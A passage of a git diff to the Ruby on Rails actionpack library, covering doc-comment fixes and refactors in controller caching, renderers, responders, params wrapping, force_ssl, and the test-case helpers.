+ # <tt>{ "category" => "All", "limit" => "5" }</tt> in params.
#
# It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
#
@@ -63,7 +63,7 @@ module ActionController
#
# == Sessions
#
- # Sessions allows you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
+ # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
# such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
# as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
# they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 14137f2886..112573a38d 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -24,7 +24,6 @@ module ActionController #:nodoc:
#
# config.action_controller.cache_store = :memory_store
# config.action_controller.cache_store = :file_store, "/path/to/cache/directory"
- # config.action_controller.cache_store = :drb_store, "druby://localhost:9192"
# config.action_controller.cache_store = :mem_cache_store, "localhost"
# config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new("localhost:11211")
# config.action_controller.cache_store = MyOwnStore.new("parameter")
diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb
index 667ba15cc9..f988de39dd 100644
--- a/actionpack/lib/action_controller/caching/actions.rb
+++ b/actionpack/lib/action_controller/caching/actions.rb
@@ -38,7 +38,7 @@ module ActionController #:nodoc:
# <tt>:action => 'lists'</tt> is not the same as
# <tt>:action => 'list', :format => :xml</tt>.
#
- # You can set modify the default action cache path by passing a
+ # You can modify the default action cache path by passing a
# <tt>:cache_path</tt> option. This will be passed directly to
# <tt>ActionCachePath.path_for</tt>. This is handy for actions with
# multiple possible routes that should be cached differently. If a
@@ -175,7 +175,7 @@ module ActionController #:nodoc:
private
def normalize!(path)
path << 'index' if path[-1] == ?/
- path << ".#{extension}" if extension and !path.ends_with?(extension)
+ path << ".#{extension}" if extension and !path.split('?').first.ends_with?(".#{extension}")
URI.parser.unescape(path)
end
end
diff --git a/actionpack/lib/action_controller/caching/pages.rb b/actionpack/lib/action_controller/caching/pages.rb
index 496390402b..957bb7de6b 100644
--- a/actionpack/lib/action_controller/caching/pages.rb
+++ b/actionpack/lib/action_controller/caching/pages.rb
@@ -122,7 +122,7 @@ module ActionController #:nodoc:
if options.is_a?(Hash)
if options[:action].is_a?(Array)
- options[:action].dup.each do |action|
+ options[:action].each do |action|
self.class.expire_page(url_for(options.merge(:only_path => true, :action => action)))
end
else
diff --git a/actionpack/lib/action_controller/caching/sweeping.rb b/actionpack/lib/action_controller/caching/sweeping.rb
index 938a6ae81c..49cf70ec21 100644
--- a/actionpack/lib/action_controller/caching/sweeping.rb
+++ b/actionpack/lib/action_controller/caching/sweeping.rb
@@ -88,7 +88,7 @@ module ActionController #:nodoc:
end
def method_missing(method, *arguments, &block)
- return if @controller.nil?
+ return unless @controller
@controller.__send__(method, *arguments, &block)
end
end
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 35e29398e6..8666ecc9c8 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -29,6 +29,10 @@ module ActionController
info(message)
end
+ def halted_callback(event)
+ info "Filter chain halted as #{event.payload[:filter]} rendered or redirected"
+ end
+
def send_file(event)
message = "Sent file %s"
message << " (%.1fms)"
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index 0133b2ecbc..125dbf6bb5 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -182,7 +182,13 @@ module ActionController
end
def response_body=(val)
- body = val.nil? ? nil : (val.respond_to?(:each) ? val : [val])
+ body = if val.is_a?(String)
+ [val]
+ elsif val.nil? || val.respond_to?(:each)
+ val
+ else
+ [val]
+ end
super body
end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 0785fe9679..0670a58d97 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -17,7 +17,7 @@ module ActionController #:nodoc:
protected
# Sends the file. This uses a server-appropriate method (such as X-Sendfile)
# via the Rack::Sendfile middleware. The header to use is set via
- # config.action_dispatch.x_sendfile_header, and defaults to "X-Sendfile".
+ # config.action_dispatch.x_sendfile_header.
# Your server can also configure this for you by setting the X-Sendfile-Type header.
#
# Be careful to sanitize the path parameter if it is coming from a web
@@ -34,7 +34,7 @@ module ActionController #:nodoc:
# If no content type is registered for the extension, default type 'application/octet-stream' will be used.
# * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
# Valid values are 'inline' and 'attachment' (default).
- # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
+ # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
# * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from
# the URL, which is necessary for i18n filenames on certain browsers
# (setting <tt>:filename</tt> overrides this option).
@@ -92,7 +92,7 @@ module ActionController #:nodoc:
# If no content type is registered for the extension, default type 'application/octet-stream' will be used.
# * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
# Valid values are 'inline' and 'attachment' (default).
- # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
+ # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
#
# Generic data download:
#
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index ed693c5967..0fd42f9d8a 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -24,12 +24,15 @@ module ActionController
# * <tt>only</tt> - The callback should be run only for this action
# * <tt>except<tt> - The callback should be run for all actions except this action
def force_ssl(options = {})
+ host = options.delete(:host)
before_filter(options) do
if !request.ssl? && !Rails.env.development?
- redirect_to :protocol => 'https://', :status => :moved_permanently
+ redirect_options = {:protocol => 'https://', :status => :moved_permanently}
+ redirect_options.merge!(:host => host) if host
+ redirect_to redirect_options
end
end
end
end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 8abcad55a2..a618533d09 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -9,6 +9,8 @@ module ActionController
#
# head :created, :location => person_path(@person)
#
+ # head :created, :location => @person
+ #
# It can also be used to return exceptional conditions:
#
# return head(:method_not_allowed) unless request.post?
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index 2df0e9422c..bd515bba82 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -7,9 +7,12 @@ module ActionController
# by default.
#
# In addition to using the standard template helpers provided, creating custom helpers to
- # extract complicated logic or reusable functionality is strongly encouraged. By default, the controller will
- # include a helper whose name matches that of the controller, e.g., <tt>MyController</tt> will automatically
- # include <tt>MyHelper</tt>.
+ # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
+ # will include all helpers.
+ #
+ # In previous versions of \Rails the controller will include a helper whose
+ # name matches that of the controller, e.g., <tt>MyController</tt> will automatically
+ # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+.
#
# Additional helpers can be specified using the +helper+ class method in ActionController::Base or any
# controller which inherits from it.
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 7420a5e7e9..264806cd36 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -145,7 +145,7 @@ module ActionController
end
def encode_credentials(user_name, password)
- "Basic #{ActiveSupport::Base64.encode64("#{user_name}:#{password}")}"
+ "Basic #{ActiveSupport::Base64.encode64s("#{user_name}:#{password}")}"
end
def authentication_request(controller, realm)
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index 85d0f5f699..640ebf5f00 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -58,13 +58,18 @@ module ActionController
def redirect_to(*args)
ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload|
result = super
- payload[:status] = self.status
- payload[:location] = self.location
+ payload[:status] = response.status
+ payload[:location] = response.location
result
end
end
- protected
+ private
+
+ # A hook invoked everytime a before callback is halted.
+ def halted_callback_hook(filter)
+ ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
+ end
# A hook which allows you to clean up any time taken into account in
# views wrongly, like database querying time.
@@ -97,4 +102,4 @@ module ActionController
end
end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index f10287afb4..ca383be76b 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -42,8 +42,8 @@ module ActionController #:nodoc:
def respond_to(*mimes)
options = mimes.extract_options!
- only_actions = Array(options.delete(:only))
- except_actions = Array(options.delete(:except))
+ only_actions = Array(options.delete(:only)).map(&:to_s)
+ except_actions = Array(options.delete(:except)).map(&:to_s)
new = mimes_for_respond_to.dup
mimes.each do |mime|
@@ -182,7 +182,7 @@ module ActionController #:nodoc:
#
# def index
# @people = Person.all
- # respond_with(@person)
+ # respond_with(@people)
# end
# end
#
@@ -245,7 +245,7 @@ module ActionController #:nodoc:
# current action.
#
def collect_mimes_from_class_level #:nodoc:
- action = action_name.to_sym
+ action = action_name.to_s
self.class.mimes_for_respond_to.keys.select do |mime|
config = self.class.mimes_for_respond_to[mime]
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index 2d8afc3a78..e0d8e1c992 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -6,31 +6,30 @@ require 'active_support/core_ext/module/anonymous'
require 'action_dispatch/http/mime_types'
module ActionController
- # Wraps parameters hash into nested hash. This will allow client to submit
- # POST request without having to specify a root element in it.
+ # Wraps the parameters hash into a nested hash. This will allow clients to submit
+ # POST requests without having to specify any root elements.
#
- # By default this functionality won't be enabled. You can enable
- # it globally by setting +ActionController::Base.wrap_parameters+:
- #
- # ActionController::Base.wrap_parameters = [:json]
+ # This functionality is enabled in +config/initializers/wrap_parameters.rb+
+ # and can be customized. If you are upgrading to \Rails 3.1, this file will
+ # need to be created for the functionality to be enabled.
#
# You could also turn it on per controller by setting the format array to
- # non-empty array:
+ # a non-empty array:
#
# class UsersController < ApplicationController
# wrap_parameters :format => [:json, :xml]
# end
#
- # If you enable +ParamsWrapper+ for +:json+ format. Instead of having to
+ # If you enable +ParamsWrapper+ for +:json+ format, instead of having to
# send JSON parameters like this:
#
# {"user": {"name": "Konata"}}
#
- # You can now just send a parameters like this:
+ # You can send parameters like this:
#
# {"name": "Konata"}
#
- # And it will be wrapped into a nested hash with the key name matching
+ # And it will be wrapped into a nested hash with the key name matching the
# controller's name. For example, if you're posting to +UsersController+,
# your new +params+ hash will look like this:
#
@@ -82,7 +81,7 @@ module ActionController
#
# ==== Examples
# wrap_parameters :format => :xml
- # # enables the parmeter wrapper for XML format
+ # # enables the parameter wrapper for XML format
#
# wrap_parameters :person
# # wraps parameters into +params[:person]+ hash
@@ -142,19 +141,16 @@ module ActionController
# try to find Foo::Bar::User, Foo::User and finally User.
def _default_wrap_model #:nodoc:
return nil if self.anonymous?
-
model_name = self.name.sub(/Controller$/, '').singularize
begin
- model_klass = model_name.constantize
- rescue NameError, ArgumentError => e
- if e.message =~ /is not missing constant|uninitialized constant #{model_name}/
+ if model_klass = model_name.safe_constantize
+ model_klass
+ else
namespaces = model_name.split("::")
namespaces.delete_at(-2)
break if namespaces.last == model_name
model_name = namespaces.join("::")
- else
- raise
end
end until model_klass
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index dee7eb1ec8..0355c9f458 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -45,7 +45,7 @@ module ActionController
# integer, or a symbol representing the downcased, underscored and symbolized description.
# Note that the status code must be a 3xx HTTP code, or redirection will not occur.
#
- # It is also possible to assign a flash message as part of the redirection. There are two special accessors for commonly used the flash names
+ # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names
# +alert+ and +notice+ as well as a general purpose +flash+ bucket.
#
# Examples:
@@ -54,10 +54,10 @@ module ActionController
# redirect_to post_url(@post), :status => 301, :flash => { :updated_post_id => @post.id }
# redirect_to { :action=>'atom' }, :alert => "Something serious happened"
#
- # When using <tt>redirect_to :back</tt>, if there is no referrer, RedirectBackError will be raised. You may specify some fallback
- # behavior for this case by rescuing RedirectBackError.
+ # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
+ # behavior for this case by rescuing ActionController::RedirectBackError.
def redirect_to(options = {}, response_status = {}) #:doc:
- raise ActionControllerError.new("Cannot redirect to nil!") if options.nil?
+ raise ActionControllerError.new("Cannot redirect to nil!") unless options
raise AbstractController::DoubleRenderError if response_body
self.status = _extract_redirect_to_status(options, response_status)
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 1eab57070f..d69816915b 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/class/attribute'
require 'active_support/core_ext/object/blank'
+require 'set'
module ActionController
# See <tt>Renderers.add</tt>
@@ -12,16 +13,13 @@ module ActionController
included do
class_attribute :_renderers
- self._renderers = {}.freeze
+ self._renderers = Set.new.freeze
end
module ClassMethods
def use_renderers(*args)
- new = _renderers.dup
- args.each do |key|
- new[key] = RENDERERS[key]
- end
- self._renderers = new.freeze
+ renderers = _renderers + args
+ self._renderers = renderers.freeze
end
alias use_renderer use_renderers
end
@@ -31,10 +29,10 @@ module ActionController
end
def _handle_render_options(options)
- _renderers.each do |name, value|
- if options.key?(name.to_sym)
+ _renderers.each do |name|
+ if options.key?(name)
_process_options(options)
- return send("_render_option_#{name}", options.delete(name.to_sym), options)
+ return send("_render_option_#{name}", options.delete(name), options)
end
end
nil
@@ -42,7 +40,7 @@ module ActionController
# Hash of available renderers, mapping a renderer name to its proc.
# Default keys are :json, :js, :xml.
- RENDERERS = {}
+ RENDERERS = Set.new
# Adds a new renderer to call within controller actions.
# A renderer is invoked by passing its name as an option to
@@ -79,7 +77,7 @@ module ActionController
# <tt>ActionController::MimeResponds#respond_with</tt>
def self.add(key, &block)
define_method("_render_option_#{key}", &block)
- RENDERERS[key] = block
+ RENDERERS << key.to_sym
end
module All
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index 4d016271ea..bc22e39efb 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -74,7 +74,7 @@ module ActionController #:nodoc:
# The actual before_filter that is used. Modify this to change how you handle unverified requests.
def verify_authenticity_token
unless verified_request?
- logger.debug "WARNING: Can't verify CSRF token authenticity" if logger
+ logger.warn "WARNING: Can't verify CSRF token authenticity" if logger
handle_unverified_request
end
end
diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb
index eb037aa1b0..736ff5b31c 100644
--- a/actionpack/lib/action_controller/metal/rescue.rb
+++ b/actionpack/lib/action_controller/metal/rescue.rb
@@ -3,6 +3,11 @@ module ActionController #:nodoc:
extend ActiveSupport::Concern
include ActiveSupport::Rescuable
+ included do
+ config_accessor :consider_all_requests_local
+ self.consider_all_requests_local = false if consider_all_requests_local.nil?
+ end
+
def rescue_with_handler(exception)
if (exception.respond_to?(:original_exception) &&
(orig_exception = exception.original_exception) &&
@@ -12,10 +17,15 @@ module ActionController #:nodoc:
super(exception)
end
+ def show_detailed_exceptions?
+ consider_all_requests_local || request.local?
+ end
+
private
def process_action(*args)
super
rescue Exception => exception
+ request.env['action_dispatch.show_detailed_exceptions'] = show_detailed_exceptions?
rescue_with_handler(exception) || raise(exception)
end
end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index 3794e277f6..9500a349cb 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -84,8 +84,8 @@ module ActionController #:nodoc:
#
# === Custom options
#
- # <code>respond_with</code> also allow you to pass options that are forwarded
- # to the underlying render call. Those options are only applied success
+ # <code>respond_with</code> also allows you to pass options that are forwarded
+ # to the underlying render call. Those options are only applied for success
# scenarios. For instance, you can do the following in the create method above:
#
# def create
@@ -95,7 +95,7 @@ module ActionController #:nodoc:
# respond_with(@project, @task, :status => 201)
# end
#
- # This will return status 201 if the task was saved with success. If not,
+ # This will return status 201 if the task was saved successfully. If not,
# it will simply ignore the given options and return status 422 and the
# resource errors. To customize the failure scenario, you can pass a
# a block to <code>respond_with</code>:
@@ -202,10 +202,8 @@ module ActionController #:nodoc:
display resource
elsif post?
display resource, :status => :created, :location => api_location
- elsif has_empty_resource_definition?
- display empty_resource, :status => :ok
else
- head :ok
+ head :no_content
end
end
@@ -224,7 +222,7 @@ module ActionController #:nodoc:
alias :navigation_location :resource_location
alias :api_location :resource_location
- # If a given response block was given, use it, otherwise call render on
+ # If a response block was given, use it, otherwise call render on
# controller.
#
def default_render
@@ -253,7 +251,7 @@ module ActionController #:nodoc:
end
def display_errors
- controller.render format => resource.errors, :status => :unprocessable_entity
+ controller.render format => resource_errors, :status => :unprocessable_entity
end
# Check whether the resource has errors.
@@ -269,22 +267,12 @@ module ActionController #:nodoc:
@action ||= ACTIONS_FOR_VERBS[request.request_method_symbol]
end
- # Check whether resource needs a specific definition of empty resource to be valid
- #
- def has_empty_resource_definition?
- respond_to?("empty_#{format}_resource")
+ def resource_errors
+ respond_to?("#{format}_resource_errors") ? send("#{format}_resource_errors") : resource.errors
end
- # Delegate to proper empty resource method
- #
- def empty_resource
- send("empty_#{format}_resource")
- end
-
- # Return a valid empty JSON resource
- #
- def empty_json_resource
- "{}"
+ def json_resource_errors
+ {:errors => resource.errors}
end
end
end
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index f4efeb33ba..d1813ee745 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -4,6 +4,11 @@ module ActionController
include RackDelegation
+ def recycle!
+ @_url_options = nil
+ end
+
+
# TODO: Clean this up
def process_with_new_base_test(request, response)
@_request = request
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 08132b1900..0b40b1fc4c 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -18,7 +18,7 @@
# @url = root_path # named route from the application.
# end
# end
-# =>
+#
module ActionController
module UrlFor
extend ActiveSupport::Concern
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index f0c29825ba..de7b837ecc 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -21,6 +21,8 @@ module ActionController
paths = app.config.paths
options = app.config.action_controller
+ options.consider_all_requests_local ||= app.config.consider_all_requests_local
+
options.assets_dir ||= paths["public"].first
options.javascripts_dir ||= paths["public/javascripts"].first
options.stylesheets_dir ||= paths["public/stylesheets"].first
diff --git a/actionpack/lib/action_controller/railties/paths.rb b/actionpack/lib/action_controller/railties/paths.rb
index 699c44c62c..bbe63149ad 100644
--- a/actionpack/lib/action_controller/railties/paths.rb
+++ b/actionpack/lib/action_controller/railties/paths.rb
@@ -6,13 +6,14 @@ module ActionController
define_method(:inherited) do |klass|
super(klass)
- if namespace = klass.parents.detect {|m| m.respond_to?(:_railtie) }
- paths = namespace._railtie.paths["app/helpers"].existent
+ if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+ paths = namespace.railtie_helpers_paths
else
- paths = app.config.helpers_paths
+ paths = app.helpers_paths
end
klass.helpers_path = paths
+
if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
klass.helper :all
end
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
index c11d676c5e..9c38ff44d8 100644
--- a/actionpack/lib/action_controller/record_identifier.rb
+++ b/actionpack/lib/action_controller/record_identifier.rb
@@ -14,9 +14,9 @@ module ActionController
# <% end %> </div>
#
# # controller
- # def destroy
+ # def update
# post = Post.find(params[:id])
- # post.destroy
+ # post.update_attributes(params[:post])
#
# redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
# end
@@ -67,7 +67,7 @@ module ActionController
# This can be overwritten to customize the default generated string representation if desired.
# If you need to read back a key from a dom_id in order to query for the underlying database record,
# you should write a helper like 'person_record_from_dom_id' that will extract the key either based
- # on the default implementation (which just joins all key attributes with '-') or on your own
+ # on the default implementation (which just joins all key attributes with '_') or on your own
# overwritten version of the method. By default, this implementation passes the key string through a
# method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
# make sure yourself that your dom ids are valid, in case you overwrite this method.
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 45bb641aee..6913c1ef4a 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -79,10 +79,10 @@ module ActionController
"expecting <?> but rendering with <?>",
options, rendered.keys.join(', '))
assert_block(msg) do
- if options.nil?
- @templates.blank?
- else
+ if options
rendered.any? { |t,num| t.match(options) }
+ else
+ @templates.blank?
end
end
when Hash
@@ -180,7 +180,7 @@ module ActionController
@env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
@symbolized_path_params = nil
@method = @request_method = nil
- @fullpath = @ip = @remote_ip = nil
+ @fullpath = @ip = @remote_ip = @protocol = nil
@env['action_dispatch.request.query_parameters'] = {}
@set_cookies ||= {}
@set_cookies.update(Hash[cookie_jar.instance_variable_get("@set_cookies").map{ |k,o| [k,o[:value]] }])
@@ -333,9 +333,21 @@ module ActionController
module ClassMethods
# Sets the controller class name. Useful if the name can't be inferred from test class.
- # Expects +controller_class+ as a constant. Example: <tt>tests WidgetController</tt>.
+ # Normalizes +controller_class+ before using. Examples:
+ #
+ # tests WidgetController
+ # tests :widget
+ # tests 'widget'
+ #
def tests(controller_class)
- self.controller_class = controller_class
+ case controller_class
+ when String, Symbol
+ self.controller_class = "#{controller_class.to_s.underscore}_controller".camelize.constantize
+ when Class
+ self.controller_class = controller_class
+ else
+ raise ArgumentError, "controller class must be a String, Symbol, or Class"
+ end
end
def controller_class=(new_class)
@@ -352,9 +364,7 @@ module ActionController
end
def determine_default_controller_class(name)
- name.sub(/Test$/, '').constantize
- rescue NameError
- nil
+ name.sub(/Test$/, '').safe_constantize
end
def prepare_controller_class(new_class)
@@ -401,9 +411,7 @@ module ActionController
def paramify_values(hash_or_array_or_value)
case hash_or_array_or_value
when Hash
- hash_or_array_or_value.each do |key, value|
- hash_or_array_or_value[key] = paramify_values(value)
- end
+ Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }]
when Array
hash_or_array_or_value.map {|i| paramify_values(i)}
when Rack::Test::UploadedFile
@@ -416,7 +424,7 @@ module ActionController
def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET')
# Ensure that numbers and symbols passed as params are converted to
# proper params, as is the case when engaging rack.
- paramify_values(parameters)
+ parameters = paramify_values(parameters)
# Sanity check for required instance variables so we can give an
# understandable error message.
@@ -450,6 +458,7 @@ module ActionController
@controller.params.merge!(parameters)
build_request_uri(action, parameters)
@controller.class.class_eval { include Testing }
+ @controller.recycle!
@controller.process_with_new_base_test(@request, @response)
@assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {}
@request.session.delete('flash') if @request.session['flash'].blank?
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
index 7fa3aead82..386820300a 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
@@ -4,7 +4,7 @@ require 'html/selector'
require 'html/sanitizer'
module HTML #:nodoc:
- # A top-level HTMl document. You give it a body of text, and it will parse that
+ # A top-level HTML document. You give it a body of text, and it will parse that
# text into a tree of nodes.
class Document #:nodoc:
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
index 22b3243104..4e1f016431 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
@@ -156,7 +156,7 @@ module HTML #:nodoc:
end
closing = ( scanner.scan(/\//) ? :close : nil )
- return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/)
+ return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
name.downcase!
unless closing
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
index eaefdc0f15..af06bffa16 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
@@ -1,4 +1,5 @@
require 'set'
+require 'cgi'
require 'active_support/core_ext/class/attribute'
module HTML
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 7f972fc281..1e92d14542 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -47,6 +47,7 @@ module ActionDispatch
end
autoload_under 'middleware' do
+ autoload :RequestId
autoload :BestStandardsSupport
autoload :Callbacks
autoload :Cookies
@@ -82,6 +83,7 @@ module ActionDispatch
autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
+ autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
end
autoload_under 'testing' do
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index 505d5560b1..040b51e040 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -1,5 +1,3 @@
-require 'active_support/memoizable'
-
module ActionDispatch
module Http
class Headers < ::Hash
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index fa2948c8db..8a9f9c4315 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -256,6 +256,10 @@ module Mime
@@html_types.include?(to_sym) || @string =~ /html/
end
+ def respond_to?(method, include_private = false) #:nodoc:
+ super || method.to_s =~ /(\w+)\?$/
+ end
+
private
def method_missing(method, *args)
if method.to_s =~ /(\w+)\?$/
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index b80574f497..e86dfd64d2 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -29,9 +29,9 @@ module ActionDispatch
ENV_METHODS.each do |env|
class_eval <<-METHOD, __FILE__, __LINE__ + 1
- def #{env.sub(/^HTTP_/n, '').downcase}
- @env["#{env}"]
- end
+ def #{env.sub(/^HTTP_/n, '').downcase} # def accept_charset
+ @env["#{env}"] # @env["HTTP_ACCEPT_CHARSET"]
+ end # end
METHOD
end
@@ -94,31 +94,31 @@ module ActionDispatch
end
# Is this a GET (or HEAD) request?
- # Equivalent to <tt>request.request_method == :get</tt>.
+ # Equivalent to <tt>request.request_method_symbol == :get</tt>.
def get?
HTTP_METHOD_LOOKUP[request_method] == :get
end
# Is this a POST request?
- # Equivalent to <tt>request.request_method == :post</tt>.
+ # Equivalent to <tt>request.request_method_symbol == :post</tt>.
def post?
HTTP_METHOD_LOOKUP[request_method] == :post
end
# Is this a PUT request?
- # Equivalent to <tt>request.request_method == :put</tt>.
+ # Equivalent to <tt>request.request_method_symbol == :put</tt>.
def put?
HTTP_METHOD_LOOKUP[request_method] == :put
end
# Is this a DELETE request?
- # Equivalent to <tt>request.request_method == :delete</tt>.
+ # Equivalent to <tt>request.request_method_symbol == :delete</tt>.
def delete?
HTTP_METHOD_LOOKUP[request_method] == :delete
end
# Is this a HEAD request?
- # Equivalent to <tt>request.method == :head</tt>.
+ # Equivalent to <tt>request.method_symbol == :head</tt>.
def head?
HTTP_METHOD_LOOKUP[method] == :head
end
@@ -155,28 +155,21 @@ module ActionDispatch
@ip ||= super
end
